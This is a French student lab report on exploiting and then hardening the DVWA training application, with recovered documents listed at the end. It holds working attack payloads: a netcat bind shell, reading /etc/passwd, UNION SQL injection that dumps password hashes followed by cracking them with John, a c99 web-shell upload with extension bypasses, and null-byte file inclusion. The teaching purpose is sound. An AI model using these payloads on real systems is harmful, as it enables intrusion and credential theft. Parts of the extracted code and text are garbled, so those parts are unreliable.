Command Execution: File Inclusion : SQL injection :... 10

Dimension: px
Commencer à balayer dès la page:

Download "Command Execution:... 10. File Inclusion :... 21. SQL injection :... 10"

Transcription

1 Web App Security CHEF ATELIER: BEN MARZOUK HAMZA(RT3) BOUJBEL AMEL(RT4) KHALIFI MAJDI(ISI) TOURJMEN HELA(RT3) ALIBI GHAZI(ISET) BEL HAJ HASSINE SOUHA(RT3) TRABELSI OUSSAMA(MPI)

2 Table des matières 1. Présentation de l atelier Présentation des outils utilisés... 3 a. Wamp... 3 b. DVWA... 3 c. Backtrack... 4 d. Bruter Topologie du réseau Configuration des outils... 7 Cas général :... 7 Brute Force :... 9 Command Execution : File Inclusion : SQL injection : Command Execution: File Upload : XSS stored : XSS reflected : Un scénario de test Brute force : Command Execution : File Inclusion : SQL injection : File Upload : XSS Reflected : XSS Stored : Conclusion

3 1. Présentation de l atelier L Atelier Web App Security représente l étude et le test des différentes vulnérabilités d une application Web vulnérable (DWVA) distante ou locale en vue de la sécuriser en suite contre ces failles. 2

4 2. Présentation des outils utilisés a. Wamp Web App Security SECURILIGHT 2014 WampServer est une plate-forme de développement Web non payante sous Windows pour des applications Web dynamiques à l aide du serveur Apache2, du langage de scripts PHP et d une base de données MySQL. Il possède également PHPMyAdmin pour gérer plus facilement vos bases de données. WampServer nous permet d installer et tester facilement l application DVWA et de la tester en local. WampServer a comme concurrents EasyPHP et VertrigoServ qui sont aussi non payants b. DVWA DVWA est conçu pour les développeurs qui souhaitent apprendre à protéger leurs applications web. Damn Vulnerable Web App (DVWA) est une application Web PHP/MySQL, qui est sacrément vulnérable. Son but est d'aider les professionnels de la sécurité à tester leurs outils dans un environnement légal, d'aider les développeurs à une meilleure compréhension du processus de sécurisation des applications web. 3

5 c. Backtrack BackTrack est une distribution Linux, basée sur Slackware jusqu'à la version 3 et Ubuntu depuis la version 4, apparue en Elle est née de la fusion de Whax et Auditor. Son objectif est de fournir une distribution regroupant l'ensemble des outils nécessaires aux tests de sécurité d'un réseau. Depuis 2013, Backtrack est devenu Kali Linux. BackTrack utilise KDE et GNOME (depuis la version 5 pour ce dernier), supporte plusieurs dispositions de clavier par simple clic (le français s'obtient en sept clics sur le drapeau de la barre KDE), et contient de nombreux outils permettant d'effectuer des tests de sécurité (près de 300). Elle vise à aborder tous les domaines liés aux sécurités modernes. De l'audit réseau à l'analyse et l'identification de vulnérabilité, BackTrack est reconnu par les professionnels de la sécurité informatique comme outil complet. 4

6 d. Bruter Bruter est un outil spécifique à l attaque brute force il sert à forcer l authentification à travers des connexions parallèles sur la victime en utilisant un dictionnaire de login et mots de pass. C est un outil gratuit sur Windows. Il existe d autres solutions similaires comme Cain & Abel. Interface de Bruter 5

7 3. Topologie du réseau Pour cet atelier on a seulement besoin d une machine fonctionnant avec Windows sur laquelle on a installé un WampServer pour faire fonctionner la DWVA ou une machine fonctionnant avec Backtrack vu que ce dernier intègre les services MySQL et apache 6

8 4. Configuration des outils Cas général : 1. Installation de WampServer : Télécharger WampServer : 2. Installation de DVWA : Télécharger DVWA : Déplacer le dossier de l application dans le répertoire /wamp/www/ Démarrer l application à partir du navigateur : Ouvrir dans le navigateur localhost Ouvrir l application DWVA localhost/dwva Se logger comme admin avec mot de pass password 7

9 8 Web App Security SECURILIGHT 2014

10 Brute Force : L outil Bruter nous permet de configurer les différents paramètres de l attaque Brute force sur une application web. Pour cela on doit récupérer ces paramètres grâce à un plugin installé sur le navigateur web Mozilla «En-têtes HTTP en direct» 9

11 Après cette configuration on pourra réaliser les attaques brute force et les tests. Command Execution : Pas de configuration supplémentaire nécessaire File Inclusion : Pas de configuration supplémentaire nécessaire SQL injection : Pas de configuration supplémentaire nécessaire Command Execution: Pas de configuration supplémentaire nécessaire File Upload : Pas de configuration supplémentaire nécessaire XSS stored : Pas de configuration supplémentaire nécessaire XSS reflected : Pas de configuration supplémentaire nécessaire 10

12 5. Un scénario de test Brute force : Cette méthode est en général considérée comme la plus simple concevable. Elle permet de casser tout mot de passe en un temps fini indépendamment de la protection utilisée, mais le temps augmente avec la longueur du mot de passe. En théorie la complexité d'une attaque par force brute est une fonction exponentielle de la longueur du mot de passe, la rendant virtuellement impossible pour des mots de passe de longueur moyenne, mais en pratique des optimisations heuristiques peuvent donner des résultats dans des délais beaucoup plus courts. Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arcen-ciel pour trouver le secret plus rapidement. Au niveau de l attaque nous avons déjà présenté la configuration de l outil avec lequel on va tester : Bruter. Après avoir préparé la configuration correspondante au niveau de sécurité de DVWA on lance l attaque : Niveau low : Et finalement on retrouve la combinaison dans 6 secondes Code du niveau low: 11

13 <?php if( isset( $_GET['Login'] ) ) { $user = $_GET['username']; $pass = $_GET['password']; $pass = md5($pass); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query( $qry ) or die( '<pre>'. mysql_error(). ' </pre>' ); </p>"; if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>welcome to the password protected area ". $user. " echo '<img src="'. $avatar. '" />'; } else { //Login failed echo "<pre><br>username and/or password incorrect.</pre>"; } } mysql_close();?> On constate bien que ce code ne contient aucun contrôle et aucune sécurisation contre le bombardement de l application par brute force. Niveau medium : Dans ce niveau on remarque que la sécurisation ajoutée n a pas changé grande chose, elle a retardé d une seconde seulement la récupération de la combinaison. 12

14 Code du niveau Medium : <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query( $qry ) or die( '<pre>'. mysql_error(). ' </pre>' ); </p>"; if( $result && mysql_num_rows($result) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>welcome to the password protected area ". $user. " echo '<img src="'. $avatar. '" />'; } else { //Login failed echo "<pre><br>username and/or password incorrect.</pre>"; } } mysql_close();?> On constate que ce code contient un traitement sur le username et sur le password, ce genre de traitement sert principalement à ralentir la requête et ce afin d augmenter le temps de recherche du hacker. Niveau High : Dans le niveau high on remarque que ça change totalement, l application devient mieux protégée grâce à des modifications importantes. Résultat de l attaque : 13

15 On remarque que l attaque n a pas abouti à un résultat et s est bloquée Code du niveau High : <?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = stripslashes( $user ); $user = mysql_real_escape_string( $user ); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = stripslashes( $pass ); $pass = mysql_real_escape_string( $pass ); $pass = md5( $pass ); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$p ass';"; $result = mysql_query($qry) or die('<pre>'. mysql_error(). '</p re>' ); </p>"; if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>welcome to the password protected area ". $user. " echo '<img src="'. $avatar. '" />'; } else { // Login failed sleep(3); echo "<pre><br>username and/or password incorrect.</pre>"; } } mysql_close();?> Le code du niveau high contient désormais à part un traitement consistant sur le username et mot de passe, un temps d attente après chaque authentification non acceptée, ce temps 14

16 d attente ralentit énormément voire même bloque l application malveillante qui essaie de forcer l opération. On pourra aussi proposer une solution alternative au niveau high en nous servant d une table dans laquelle on enregistre les utilisateurs suspects et on les bloque pendant une durée assez longue (une minute par exemple).aussi on ajoute ce qu on appelle «key stretching» In cryptography, key stretching refers to techniques used to make a possibly weak key, typically a password or passphrase, more secure against a brute force attack by increasing the time it takes to test each possible key. Passwords or passphrases created by humans are often short or predictable enough to allow password cracking. Key stretching makes such attacks more difficult. Wikipedia. Solution proposée: 15

17 Command Execution : L'une des vulnérabilités les plus critiques qu'un testeur peut rencontrer dans un test de demande de pénétration sur Internet est de trouver une application qu'il lui permettra d'exécuter taux de commandes. Le taux du système de cette vulnérabilité est élevé, car il peut permettre à tout utilisateur non autorisé et malveillants pour exécuter les commandes systèmes depuis l'application Web et pour récolter grande quantité d'informations ou de compromettre la machine cible. Nous allons voir comment nous pouvons exploiter cette vulnérabilité en utilisant l'application web vulnérable DVWA. LOW LEVEL: Comme nous pouvons le voir dans le DVWA nous avons un utilitaire de ping libre qui nous permet de faire un ping sur n importe quelle adresse IP. Afin de se assurer que l'application est vulnérable à commander l'exécution nous pouvons essayer une simple commande.dans le champ d'adresse IP, nous tapons 1 echo pentestlab.si pentestlab apparaît sur l'application Web après la soumission de la commande alors nous avons une exécution de la commande vulnérabilité. 16

18 Toujours dans les systèmes d'exploitation basés sur Linux, nous voulons afficher le contenu du fichier / etc / passwd parce que nous pouvons trouver des informations sur les utilisateurs. Nous pouvons également utiliser la commande suivante pour ouvrir un port sur l'hôte distant et de se reconnecter avec netcat. 1 netcat -v -e '/ bin / bash' -l -p Pourquoi l application est vulnérable? Nous pouvons répondre à cette question tout en examinant le code source 17

19 De le code ci-dessus, nous pouvons voir qu'il n'y a pas de contrôle pour la cible variable $target et elle correspond à une adresse IP ce qui permet à un attaquant d'ajouter commandes derrière l'adresse IP. Medium level À sécurité moyenne, DVWA rend un peu plus difficile par décapage à ces opérateurs familiers. Cependant, si nous alimentons une adresse IP qui ne répond pas à ICMP, il provoque ping pour revenir $?! = 0 moment idéal pour ajouter une double pipe -. ' ' à l'adresse. En faisant cela, nous pouvons diriger le shell pour exécuter la commande (s) vers la droite des tuyaux. Fond rapide - la double barre verticale indique au shell pour exécuter commande2 seulement si les rendements Command1 avec un échec: command1 commande2 Voici un exemple concret: sh-3.2 $ cat non_existent_file echo "Fichier non trouvé" cat: non_existent_file: Aucun fichier ou répertoire Fichier introuvable Alors que si nous utilisons '&&': sh-3.2 $ cat non_existent_file && echo "Fichier non trouvé" cat: non_existent_file: Aucun fichier ou répertoire Avis, la commande 'echo' ne sera pas exécutée. Le code de la sécurité medium level est : 18

20 High level Dans ce niveau,on ne peut pas exécuter les commandes linux. par exemple on veut exécuter la commande 1 cat /etc/ password La réponse sera : Donc l entrée doit ètre une adresse ip dans ce niveau de sécurité 19

21 La vulnérabilité de command exécution est annulée dans le High level grâce au contrôle sur la variable $target 20

22 File Inclusion : La faille à laquelle on s'intéresse est due à l'absence de contrôle sur le nom d'un fichier,qui peut être manipulé par l'utilisateur, qu'on essaye d'inclure dans le code source (en utilisant la fonction include();) Dans notre cas le nom du fichier va être récupéré a l'aide de la méthode $_GET[''],donc c'est ce qui apparait dont la barre d'adresse qui va être manipulé. Scenarios de test: Les fichiers qu'on va inclure seront de type texte (.txt) puisque notre but est d'exécuter le code qu'ils contiennent sur le serveur contenant la page vulnérable et non pas le nôtre. Exécution de commandes sur le serveur: On peut utiliser la fonction prédéfinie system(); qui permet d'exécuter des commandes sur le serveur. Afin de déterminer la commande à exécuter on peut utiliser la méthode $_GET[''] pour passer cette commande comme paramètre à la fonction. Notre code serait ainsi: Puis il ne nous reste que d'inclure le fichier contenant ce code et de passer la commande en paramètre à travers la barre d adresse, dans cet exemple on va utiliser une commande simple : la commande «help» Et le résultat de l'exécution de cette commande serait: 21

23 Collecte d'informations importantes: Informations sur la configuration de PHP sur le serveur utilisé: on peut obtenir ce type d'information en appelant la fonction prédéfinie "phpinfo();". Ainsi le code serait: Et le résultat serait l'apparition de plusieurs informations qui peuvent nous aider à avoir une idée sur d'autres types d'attaques peut-on performer : 22

24 On peut dans ce cas par exemple obtenir le chemin du fichier php.ini et on peut ainsi utiliser cette même faille pour le lire ou même le modifier (ce qui dépend des droits donnés aux utilisateurs par le serveur). Informations concernant le serveur : On peut utiliser le code si dessous pour afficher des informations sur le serveur dans un tableau : 23

25 Maintenant il ne nous reste que d'inclure le fichier dont on a ecrit ce code : Le code serait ainsi exécuter par le serveur et on obtient en fin le tableau suivant : Avoir accès a des fichier critiques: 24

26 A cause du fichier.htaccess quelques fichiers ou dossiers peuvent ne pas être accessible sauf si on présente l'identifient et le mot de passe correctes. C est pour cette raison que l'utilisation de cette vulnérabilité pour afficher le contenu des fichiers.htaccess et.htpasswd est considérer comme important et ceci pourrait être réalisé par l'utilisation de la fonction "show_source();",qui affiche le code source d'une page passée en paramètre. Le code de notre page serait ainsi: et on pourrait l'exploiter en insérant à chaque fois le nom ou le chemin vers le fichier qui nous intéresse. Appliquons ce teste sur le fichier "include.php": Utilisons cette même méthode pour des fichiers plus importants comme.htaccess 25

27 Contourner le problème propose dans le niveau medium: Dans ce niveau on peut toujours inclure des fichiers locaux comme le.htaccess.htpasswd Mais toute apparition de ou https:// va être remplacée par une chaine vide ("") or comparer deux chaines revient à comparer les codes ascii de leurs caractères donc et par exemple, sont considérer différents, ce qui représente une solution pour ce cas. Remarque: Si le développeur essaye de nous forcer à inclure un fichier d'extension PHP alors qu'on s'intéresse a inclure des fichiers de type diffèrent on peut ajouter à la fin du nom du fichier ce qu'on appelle le «null byte» pour ignorer le reste de la chaine et par conséquent l'extension ajoutée dans le code source de la page.en effet la fonction include va être traitée par une fonction (entre autres) programmée en C, et en C le «null byte» signifie la fin de la chaine c'est pour cette raison que la partie qui suit(l'extension.php dans ce cas) va être ignorée. Solution: La solution est de contrôler le nom du fichier qui pourrait être donne ou modifier par l'utilisateur. On peut donc générer un code qui ne permet l'inclusion qu'aux pages qu'on détermine dans notre code dans ce cas ça serait la page "include.php" uniquement: 26

28 Si on essaye d'exploiter la faille: Désormais notre application n est plus vulnérable à ce type d attaque 27

29 SQL injection : Une injection SQL est un type d'exploitation d'une faille de sécurité d'une application interagissant avec une base de données, en injectant une requête SQL non prévue par le système et pouvant compromettre sa sécurité. Dans le cas de notre application on a 3 niveaux de sécurité : LOW LEVEL, MEDIUM LEVEL et HIGH LEVEL. LOW et MEDIUM LEVEL: 1-Test de vulnérabilité: Nous pouvons faire l'attaque à partir du zone de texte ci-dessous: Nous testons si notre application est vulnérable ou non: La page Web est censé imprimer ID, Prénom, Nom et à l'écran. Cette partie du code sera exploité et '$id' sera remplacer par 1. 28

30 2-Scénario toujours vrai pour afficher tous les utilisateurs: Maintenant cet partie du code sera exploité et '$id' sera remplacer par %' or '0'='0. 3-Version de la base de données: %' or 0=0 union select null, version() # Dans la dernière ligne affichée, est affichée dans SURNAME c'est la version de MYSQL database. 29

31 4-Afficher toutes les tables INFORMATION_SCHEMA: %' and 1=0 union select null, table_name from information_schema.tables # Maintenant, nous affichons toutes les tables de la base de données INFORMATION_SCHEMA. Le INFORMATION_SCHEMA est la base de données, l'endroit qui stocke des informations sur toutes les autres bases de données que le serveur MySQL entretient. 5-Afficher toutes les tables utilisateur de INFORMATION_SCHEMA: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# Maintenant, nous affichons toutes les tables qui commencent par le préfixe «user» dans la base de données INFORMATION_SCHEMA. 6-Afficher tous les champs de colonnes dans la table user de INFORMATION_SCHEMA: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' # 30

32 Maintenant, nous affichons toutes les colonnes dans la table users. Il ya les colonnes user_id, first_name, last_name, user et Password 7-Afficher tous les contenus de champs de colonnes dans la table user de INFORMATION_SCHEMA: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users # 31

33 Maintenant, nous avons réussi à montrer toutes les informations d'authentification nécessaires dans cette base de données. 8-Créer un hash de fichier: Nous créerons le fichier contenant les login et les mot de passe hachés séparées par ':' puis on l'enregistre dans '/pentest/passwords/john' sous le nom 'dvwa_password.txt'. Nous exécutons en suite les commandes suivantes: cd /pentest/passwords/john./john --format=raw-md5 dvwa_password.txt 32

34 Enfin, Nous avons réussi à afficher tous les mots de passe et nous pouvons maintenant connecter avec n'importe quel nom d'utilisateur. Solution: Ces attaques peuvent être évitées de plusieurs façons : Utiliser des procédures stockées, à la place du SQL dynamique. Les données entrées par l'utilisateur sont alors transmises comme paramètres, qui, s'ils sont correctement utilisés par la procédure (par exemple injectés dans une requête paramétrée), évitent l'injection. Vérifier de manière précise et exhaustive l'ensemble des données venant de l'utilisateur. On peut, par exemple, utiliser une expression rationnelle afin de valider qu'une donnée entrée par l'utilisateur est bien de la forme souhaitée, ou profiter de fonctions de transformation spécifiques au langage. Dans notre application nous allons appliquer des fonctions prédéfinies pour éviter toute sorte d'injection: stripslashes(paramètre); mysql_real_escape_string(paramètre); is_numeric(paramètre); Alors, notre code de l'application devient: 33

35 File Upload : De nos jours, de nombreux sites permettent d envoyer des fichiers sur leurs serveurs, pour les partager, les montrer a tout le monde. Ces services peuvent être très dangereux si ils ne sont pas bien protégés, car on propose à l utilisateur d envoyer des donnés sur le serveur. Et ils pourraient bien envoyer par exemple du code PHP contenant une Backdoor. 34

36 Exemple d exploit de la faille File Upload Dans ce cas de figure on va utiliser la sécurité basse de DVWA et on va uploader dans l application un fichier malveillant, il s agit d un shell php «c99». Avec la sécurité basse DWVA accepte tout type de fichier, on va voir après comment corriger cette faille. DVWA a bel et bien accepté notre fichier, maintenant passons aux choses intéressantes. On va maintenant utiliser notre fichier c99.php 35

37 Et hop : A travers ce Shell, on peut tout faire pour un serveur Unix. En d autres termes il nous permet de prendre le contrôle d un serveur. 36

38 Etude de la faille Maintenant venons au code de la faille : Commençons par le niveau low <?php if (isset($_post['upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path. basename( $_FILES['uploaded ']['name']); if(!move_uploaded_file($_files['uploaded']['tmp_name'], $ target_path)) { } echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path. ' succesfully uploaded!'; echo '</pre>';?> } On remarque bien que ce code ne contient aucun contrôle sur le fichier à uploader d où on peut uploader n importe quel fichier. 37

39 On passe maintenant au niveau medium <?php if (isset($_post['upload'])) { ]['name']); $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path. basename($_files['uploaded' $uploaded_name = $_FILES['uploaded']['name']; $uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; )){ if (($uploaded_type == "image/jpeg") && ($uploaded_size < if(!move_uploaded_file($_files['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path. ' succesfully uploaded!'; echo '</pre>';?> } } } else{ echo '<pre>your image was not uploaded.</pre>'; } À ce niveau, on remarque le code contient désormais deux contrôles sur le fichier ; un contrôle sur le type et un second sur la taille. Mais cela reste insuffisant car on peut renommer le fichier et ajouter une extension image 38

40 On voit bien que l application n accepte pas le fichier Mais si on renomme le fichier comme suit shell.php.jpeg 39

41 Sachant que l extension n a pas d importance dans un système Unix, cette faille reste dangereuse d où il faut ajouter d autres contrôles. 40

42 Au niveau high : <?php if (isset($_post['upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path. basename($_files['uploaded' ]['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_ name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; if (($uploaded_ext == "jpg" $uploaded_ext == "JPG" $uploaded_ext == "jpeg" $uploaded_ext == "JPEG") && ($uploaded_siz e < )){ if(!move_uploaded_file($_files['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path. ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } }?> On remarque ici l utilisation d un contrôle sur l extension mais ceci reste toujours vulnérable à l ajout d une extension que l application accepte Par exemple shell2.php.jpeg 41

43 Pour remédier à cette faille on doit tester sur des paramètres spécifiques au type image comme hauteur et largeur Pour cela on utilise la fonction php getimagesize() Alors le code devient : <?php if (isset($_post['upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path. basename($_files['uploaded' ]['name']); $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_ name, '.') + 1); $uploaded_size = $_FILES['uploaded']['size']; list($width, $height, $type, $attr) ES['uploaded']['tmp_name']); if (($uploaded_ext == "jpg" $uploaded_ext == "JPG" $uploaded_ext == "jpeg" $uploaded_ext == "JPEG") && ($uploaded_siz e < ) && ($width > 1) &&($height > 1)) { 42

44 if(!move_uploaded_file($_files['uploaded']['tmp_name' ], $target_path)) { echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } else { echo '<pre>'; echo $target_path. ' succesfully uploaded!'; echo '</pre>'; } } else{ echo '<pre>'; echo 'Your image was not uploaded.'; echo '</pre>'; } }?> Et voilà le test : Et finalement: Notre application est maintenant plus résistante à ce type d attaque Conclusion 43

45 Grace à cette étude, on a pu voir comment exploiter la faille de notre application et la protéger contre cette attaque très souvent utilisée par les hackers car elle permet de prendre totalement le contrôle de la cible. XSS Reflected : Introduction : Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, permettant ainsi de provoquer des actions sur les navigateurs web visitant la page. Les possibilités des XSS sont très larges puisque l'attaquant peut utiliser tous les langages pris en charge par le navigateur (JavaScript, Java, Flash...) et de nouvelles possibilités sont régulièrement découvertes notamment avec l'arrivée de nouvelles technologies comme HTML5. Il est par exemple possible de rediriger vers un autre site pour du hameçonnage ou encore de voler la session en récupérant les cookies. 44

46 Ce type de faille de sécurité apparait lorsque des données fournies par un client web sont utilisées telles quelles par les scripts du serveur pour produire une page de résultats. Si les données non vérifiées sont incluses dans la page de résultat sans encodage des entités HTML, elles pourront être utilisées pour injecter du code dans la page dynamique reçue par le navigateur client. 1. Low level : Comme nous pouvons le voir dans le DVWA, il y a une zone de texte qui a comme paramètre d entée une chaine de caractère, elle retourne un message «hello nom_saisie». Afin de tester que l application est vulnérable, on va injecter un simple code HTML dans cette zone de texte. Après exécution, le mot ghazi sera en gras et en italique. Ceci Ceci est un simple exemple, mais avec des codes plus complexe et dangereux, l'attaquant peut : - voler des informations d'identification dans les cookies non-httponly. - envoyer des requêtes à un serveur avec les informations d'identification de l'utilisateur. - voler des secrets qui sont stockés dans les variables JavaScript. - -inviter l'utilisateur à télécharger du contenu en soumettant un formulaire. - rediriger vers un autre site. - obtenir des données GPS / appareil photo si l'utilisateur a accordé que l'accès du site à l'appareil. Exemple du code qui permet de changer les liens dans les balises <a></a> avec un lien malveillant. 45

47 Exemple du code qui permet de d intercepter les cookies d un utilisateur et les envoie à son serveur. Ce problème existe puisque il n a pas de contrôle sur le champ de saisie. 2. medium level : Dans ce niveau, on ajoute une fonction dans le langage PHP : le «str_remplace». Elle permet de faire un filtre dans la saisie. Tout balise commencent par «<script>» sera remplacer par une chaine vide. Il existe plusieurs mécanismes disponibles pour les développeurs pour dépasser ce filtre, tels que de renvoyer une erreur, en supprimant, encodage, ou de remplacer une entrée invalide. Le moyen par lequel l'application détecte et corrige les entrées invalides est une autre faiblesse dans la prévention primaire XSS. Dans certains cas, il est possible que les filtres basés sur les signatures puissent être simplement défaits par obscurcir l'attaque. Typiquement, vous pouvez le faire grâce à l'insertion de variations inattendues dans la syntaxe. Ces variations sont tolérées par les navigateurs HTML valide que lorsque le code est retourné, et pourtant, ils pourraient également être acceptées par le filtre. 46

48 Pour sécuriser l application, plusieurs techniques permettent d'éviter le XSS: - utiliser la fonction htmlspecialchars() qui filtre les '<' et '>' (cf. ci-dessus) ; - utiliser la fonction htmlentities() qui est identique à htmlspecialchars() sauf qu'elle filtre tous les caractères équivalents au codage HTML ou JavaScript. - utiliser strip_tags() qui supprime les balises. 3. High level : Apres la modification du code, on a ajouté htmlspecialchars()qui filtre les caractères spécial. C est la mode la plus sécurisé. 47

49 XSS Stored : Le cross-site scripting est abrégé XSS pour ne pas être confondu avec le CSS (feuilles de style) 1, X se lisant «cross» (croix) en anglais. Les failles XSS sont très répandues sur Internet, et utilisées dans de nombreuses attaques aujourd hui. Le principe est d'injecter des données arbitraires dans un site web, par exemple en déposant un message dans un forum, ou par des paramètres d'url. Si ces données arrivent telles quelles dans la page web transmise au navigateur (par les paramètres d'url, un message posté ) sans avoir été vérifiées, alors il existe une faille : on peut s'en servir pour faire exécuter du code malveillant en langage de script (du JavaScript le plus souvent) par le navigateur web qui consulte cette page. XSS Stored Ce type de vulnérabilité, aussi appelé faille permanente ou du second ordre permet des attaques puissantes. Elle se produit quand les données fournies par un utilisateur sont stockées sur un serveur (dans une base de données, des fichiers, ou autre), et ensuite réaffichées sans que les caractères spéciaux HTML aient été encodés. Low Level : Ici nous avons 2 champs qui permettent de laisser des messages et d indiquer son nom d utilisateur. On va tenter une XSS simple pour commencer (insérer du code Javascript qui sera interprété par le navigateur afin d afficher une boite de dialogue Javascript) On tape dans la case : «Name» : n importe quel nom 48

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4) Sommaire : Contenu I. Introduction:... 2 II. Présentation de l atelier :... 2 1) Attaque persistante :... 3 2) Attaque non persistante :...

Plus en détail

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr

Sécurite Web. Xavier Tannier xavier.tannier@limsi.fr. Yann Jacob yann.jacob@lip6.fr Sécurite Web Xavier Tannier xavier.tannier@limsi.fr Yann Jacob yann.jacob@lip6.fr Généralités 80 % des sites contiennent au moins une faille de sécurité 24 familles de failles différentes : on ne présente

Plus en détail

Vulnérabilités logicielles Injection SQL

Vulnérabilités logicielles Injection SQL MGR850 Hiver 2014 Vulnérabilités logicielles Injection SQL Hakima Ould-Slimane Chargée de cours École de technologie supérieure (ÉTS) Département de génie électrique 1 Plan SQL Injection SQL Injections

Plus en détail

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé

Roman Mkrtchian SI5-2012/2013 François Chapuis. Rapport de projet de WASP. Réalisation d'un site web sécurisé Roman Mkrtchian SI5-2012/2013 François Chapuis Rapport de projet de WASP Réalisation d'un site web sécurisé Introduction Nous avons choisi de coder un blog sécurisé. Nous avons notamment codé nous-mêmes

Plus en détail

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI

Vulnérabilités logicielles Injection SQL. Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI Vulnérabilités logicielles Injection SQL Chamseddine Talhi École de technologie supérieure (ÉTS) Dép. Génie logiciel et des TI 1 Plan SQL Injection SQL Injections SQL standards Injections SQL de requêtes

Plus en détail

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web.

Le langage PHP permet donc de construire des sites web dynamiques, contrairement au langage HTML, qui donnera toujours la même page web. Document 1 : client et serveur Les ordinateurs sur lesquels sont stockés les sites web sont appelés des serveurs. Ce sont des machines qui sont dédiées à cet effet : elles sont souvent sans écran et sans

Plus en détail

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL

Bases de données (INF225), TELECOM ParisTech. TP PHP & MySQL Bases de données (INF225), TELECOM ParisTech TP PHP & MySQL Pierre Senellart (pierre.senellart@telecom-paristech.fr) Bogdan Cautis (bogdan.cautis@telecom-paristech.fr) Ioana Ileana (ioana.ileana@telecom-paristech.fr)

Plus en détail

Sécurité d un site php

Sécurité d un site php Sensibilisation IUT de Fontainebleau 8 juin 2015 1 2 1 2 Enjeux L application manipulent-ils des données fiables? L application interagit-elle avec le bon interlocuteur? Le secret des données échangées

Plus en détail

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin Sécurité des sites Web Pas un cours un recueil du net INF340 Jean-François Berdjugin Vulnérabilité Définition (wikipédia) : Dans le domaine de la sécurité informatique, une vulnérabilité est une faiblesse

Plus en détail

Sécurité PHP et MySQL

Sécurité PHP et MySQL Sécurité PHP et MySQL Ce document est extrait du travail de diplôme de M. DIZON dans l état.. Sécurité PHP et MySQL...1 1 Introduction...1 2 Sécurisation des scripts PHP...2 2.1 Introduction...2 2.2 Filtrage

Plus en détail

Failles web : Les bases

Failles web : Les bases Failles utilisant les sites web comme support Ciblant soit les serveurs soit les visiteurs Dangereuses car simples à assimiler Objectifs : Vol de données Défaçage Rendre indisponible un site Utiliser le

Plus en détail

Authentification, droits d'accès et sécurité des applis web

Authentification, droits d'accès et sécurité des applis web Authentification, droits d'accès et sécurité des applis web Identification : savoir qui est l'utilisateur basé sur des nom de login enregistrés : base de données, annuaires, fichiers Authentification :

Plus en détail

LES FAILLES XSS. Que20. 09 janvier 2016

LES FAILLES XSS. Que20. 09 janvier 2016 LES FAILLES XSS Que20 09 janvier 2016 Table des matières 1 Introduction 5 2 Qu est-ce qu une faille XSS? 7 3 Les XSS : explications 9 4 Injection de code JavaScript 13 5 Des protections pas toujours efficaces

Plus en détail

Mémento Site Dynamique / PHP

Mémento Site Dynamique / PHP Mémento Site Dynamique / PHP Pour faire fonctionner site statique : Navigateur Éditeur de texte Apache/PHP/MySQL (qu'on peut retrouver dans WampServer (uniquement Windows)) Inclure les portions de page

Plus en détail

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

